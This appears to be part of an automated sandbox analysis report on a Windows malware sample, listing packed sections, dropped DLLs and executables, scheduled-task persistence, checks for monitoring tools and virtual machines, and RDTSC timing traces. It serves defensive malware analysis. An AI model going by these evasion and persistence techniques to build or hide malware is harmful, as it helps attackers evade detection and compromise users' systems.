Source: random[1].exe.0.dr	Static PE information: section name: ekxusscj entropy: 7.954600419020587
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name: entropy: 7.974895002743912
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name: ekxusscj entropy: 7.954600419020587
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.974895002743912
Source: skotes.exe.22.dr	Static PE information: section name: ekxusscj entropy: 7.954600419020587

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBKKKFCFIIJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBKKKFCFIIJ.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBKKKFCFIIJ.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48E21 second address: F48E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48E29 second address: F48E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48E2F second address: F48E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD31CE6EAABh 0x0000000b popad 0x0000000c pop edi 0x0000000d pushad 0x0000000e jmp 00007FD31CE6EAB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F48E5D second address: F48E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4915F second address: F49164 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4955B second address: F4955F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4955F second address: F4956F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD31CE6EAA6h 0x00000008 ja 00007FD31CE6EAA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4956F second address: F4957D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007FD31CD42B86h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F496DB second address: F49703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAABh 0x00000007 jmp 00007FD31CE6EAAAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD31CE6EAABh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C4BB second address: F4C4BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C4BF second address: F4C4F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FD31CE6EAB5h 0x0000000d nop 0x0000000e add edi, 6D53B5ACh 0x00000014 push 00000000h 0x00000016 movsx esi, di 0x00000019 call 00007FD31CE6EAA9h 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C4F6 second address: F4C4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C4FB second address: F4C51E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FD31CE6EAACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C51E second address: F4C522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C522 second address: F4C54C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d ja 00007FD31CE6EAB4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C54C second address: F4C550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C550 second address: F4C56B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FD31CE6EAB1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C56B second address: F4C5ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007FD31CD42B8Dh 0x00000011 pop eax 0x00000012 mov esi, 7C3ED6E7h 0x00000017 push 00000003h 0x00000019 jmp 00007FD31CD42B91h 0x0000001e push 00000000h 0x00000020 mov cx, si 0x00000023 movsx edx, dx 0x00000026 push 00000003h 0x00000028 mov dword ptr [ebp+122D2EE1h], eax 0x0000002e push 9D4EC261h 0x00000033 jmp 00007FD31CD42B95h 0x00000038 xor dword ptr [esp], 5D4EC261h 0x0000003f jmp 00007FD31CD42B8Ch 0x00000044 lea ebx, dword ptr [ebp+12460327h] 0x0000004a add dword ptr [ebp+122D2EE1h], eax 0x00000050 xchg eax, ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C5ED second address: F4C5F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C5F3 second address: F4C5F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C5F9 second address: F4C5FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C66F second address: F4C675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C675 second address: F4C72C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jc 00007FD31CE6EAB0h 0x00000010 pushad 0x00000011 sub dword ptr [ebp+122D2DCFh], edx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FD31CE6EAA8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D350Eh], edi 0x0000003c mov si, cx 0x0000003f call 00007FD31CE6EAA9h 0x00000044 jno 00007FD31CE6EAB8h 0x0000004a push eax 0x0000004b jo 00007FD31CE6EAB7h 0x00000051 jmp 00007FD31CE6EAB1h 0x00000056 mov eax, dword ptr [esp+04h] 0x0000005a pushad 0x0000005b pushad 0x0000005c jno 00007FD31CE6EAA6h 0x00000062 jg 00007FD31CE6EAA6h 0x00000068 popad 0x00000069 push edx 0x0000006a jmp 00007FD31CE6EAAAh 0x0000006f pop edx 0x00000070 popad 0x00000071 mov eax, dword ptr [eax] 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C72C second address: F4C730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C730 second address: F4C7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007FD31CE6EAAAh 0x00000010 pop eax 0x00000011 call 00007FD31CE6EAB0h 0x00000016 pushad 0x00000017 mov esi, dword ptr [ebp+122D17CEh] 0x0000001d jmp 00007FD31CE6EAB2h 0x00000022 popad 0x00000023 pop edi 0x00000024 push 00000003h 0x00000026 and edx, 462A8F98h 0x0000002c push 00000000h 0x0000002e pushad 0x0000002f cmc 0x00000030 jmp 00007FD31CE6EAB5h 0x00000035 popad 0x00000036 mov di, bx 0x00000039 push 00000003h 0x0000003b push eax 0x0000003c xor edi, dword ptr [ebp+122D376Fh] 0x00000042 pop edi 0x00000043 jmp 00007FD31CE6EAB3h 0x00000048 call 00007FD31CE6EAA9h 0x0000004d jmp 00007FD31CE6EAADh 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 push edx 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C7CF second address: F4C7F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD31CD42B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD31CD42B8Fh 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 je 00007FD31CD42B8Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C7F6 second address: F4C803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C803 second address: F4C807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C807 second address: F4C80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C80D second address: F4C814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C814 second address: F4C84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c jmp 00007FD31CE6EAB1h 0x00000011 pop eax 0x00000012 pop eax 0x00000013 mov esi, 155A1975h 0x00000018 lea ebx, dword ptr [ebp+12460330h] 0x0000001e add edx, dword ptr [ebp+122D37A3h] 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 push edi 0x00000029 pop edi 0x0000002a pop edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C84B second address: F4C851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C851 second address: F4C855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C855 second address: F4C859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C8A9 second address: F4C8FF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD31CE6EAA8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD31CE6EAB5h 0x00000013 pop edx 0x00000014 nop 0x00000015 sub dx, C826h 0x0000001a jmp 00007FD31CE6EAB5h 0x0000001f push 00000000h 0x00000021 xor dword ptr [ebp+122DBA11h], edx 0x00000027 push EFC7ADBFh 0x0000002c jbe 00007FD31CE6EAB4h 0x00000032 push eax 0x00000033 push edx 0x00000034 push ecx 0x00000035 pop ecx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C8FF second address: F4C903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C903 second address: F4C978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 103852C1h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FD31CE6EAA8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov ecx, esi 0x00000029 push 00000003h 0x0000002b cmc 0x0000002c push 00000000h 0x0000002e pushad 0x0000002f sub dword ptr [ebp+122D295Bh], edx 0x00000035 push ecx 0x00000036 mov edi, dword ptr [ebp+122D3A87h] 0x0000003c pop edx 0x0000003d popad 0x0000003e push 00000003h 0x00000040 jnl 00007FD31CE6EAACh 0x00000046 mov ecx, dword ptr [ebp+122D378Fh] 0x0000004c push E7177390h 0x00000051 pushad 0x00000052 jno 00007FD31CE6EAB6h 0x00000058 push eax 0x00000059 push edx 0x0000005a je 00007FD31CE6EAA6h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C978 second address: F4C9E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 27177390h 0x00000011 mov edi, 7BA23F3Bh 0x00000016 lea ebx, dword ptr [ebp+1246033Bh] 0x0000001c sub dword ptr [ebp+122D2971h], ebx 0x00000022 xchg eax, ebx 0x00000023 ja 00007FD31CD42B9Eh 0x00000029 push eax 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD31CD42B99h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4C9E9 second address: F4C9ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D30B second address: F2D310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D310 second address: F2D315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D315 second address: F2D31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B443 second address: F6B44F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD31CE6EAA6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B72F second address: F6B754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jl 00007FD31CD42B86h 0x0000000d popad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jo 00007FD31CD42B86h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c jbe 00007FD31CD42B8Eh 0x00000022 push edi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA03 second address: F6BA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAB9h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c jmp 00007FD31CE6EAAEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA35 second address: F6BA49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
